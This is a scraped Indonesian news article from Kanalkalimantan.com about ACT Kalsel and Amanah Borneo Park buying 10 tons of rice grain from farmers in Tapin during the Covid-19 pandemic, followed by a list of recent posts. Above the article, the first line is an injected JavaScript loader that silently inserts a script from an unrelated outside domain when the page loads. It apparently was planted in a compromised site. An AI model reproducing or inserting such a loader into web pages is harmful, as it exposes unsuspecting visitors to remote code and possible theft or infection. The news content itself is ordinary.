(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: ACT KALSEL

Amanah Borneo Park Bersama Global Wakaf ACT Beli 10 Ton Gabah dari Petani


KANALKALIMANTAN.COM, BANJARBARU – Melalui program Masyarakat Produsen Pangan Indonesia (MPPI), Amanah Borneo Park Bersama Global Wakaf Aksi Cepat Tanggap Kalimantan Selatan membeli sebanyak 10 ton gabah dari petani padi di Desa Binderang, Kecamatan Lok Paikat, Kabupaten Tapin, Rabu (16/9/2020).

Asmuri (47), salah satu petani yang menjadi penerima manfaat mengaku senang dengan program dari GW ACT Kalsel tersebut.

“Saya terbantu sekali dalam hal pemasaran hasil panen Saya, Alhamdulillah dari hasil panen Saya bisa beli bahan bangunan untuk rumah.

Selain itu Saya juga menjamin lahan baru sebanyak 16 borong selama 2 tahun,” ungkap Asmuri.

Dengan bertambahnya lahan, lanjut Asmuri, kami akan bisa bercocok tanam lebih banyak sehingga hasil pertaniannya pun semakin banyak juga nantinya. “Semoga ini semua semakin memudahkan kami para petani,” ujarnya.

Hal senada juga disampaikan oleh Ramli Ketau Gapoktan Sewarga, ia menyampaikan terima kasih atas kerjasama yang telah terjalin. Adanya pembelian beras dari GW ACT, menurutnya membantu menjaga produktifitas kelompoknya.

Gapoktan Sewarga termasuk memiliki fasilitas lengkap untuk mengolah hasil panen. Mulai dari tempat pengeringan berbasis teknologi, penggilingan, penyimpanan hingga pengemasan.

“Semua tersedia. Namun, selama ini kami masih kekurangan dalam hal pemasaran, sehingga tidak setiap saat gapoktan berproduksi,” tutur Ramli.

Kepala cabang ACT Kalsel Zainal Arifin mengatakan, program MPPI merupakan ikhtiar dari ACT Kalsel bersama Amanah Borneo Park untuk menyiapkan sektor pangan agar tetap produktif dan berkembang tanpa hambatan. Terutama di masa pandemi Covid-19 yang meyebabkan dampak signifikan terhadap sektor ekonomi yang semakin pincang. Program MPPI juga bertujuan untuk meredam dampak kemiskinan.

“Semua elemen masyarakat harus bisa berkontribusi. Tujuannya agar peran sosial juga bisa menyeluruh untuk menyentuh masyarakat yang membutuhkan. GW ACT Kalsel bersama Amanah Borneo Park dalam menyikapi ini berupaya untuk menghadirkan program MPPI, solusi untuk perkuat sektor pangan dan sebagai dukungan kepada petani agar tetap meningkatkan hasil produktivitas pertanian,” Ujar Zainal

Menurut Zainal, dengan 10 ton gabah ini GW ACT Kalsel memiliki stok beras sebanyak 6 ton. Pengadaan beras ini tentu menjadi bentuk lembaga dalam menjaga ketahanan pangan untuk masyarakat di Kalsel. “Semoga semakin banyak pihak yang terlibat dalam program ini kedepannya,” harap Zainal. (Kanalkalimantan.com/act)

Reporter : Act
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.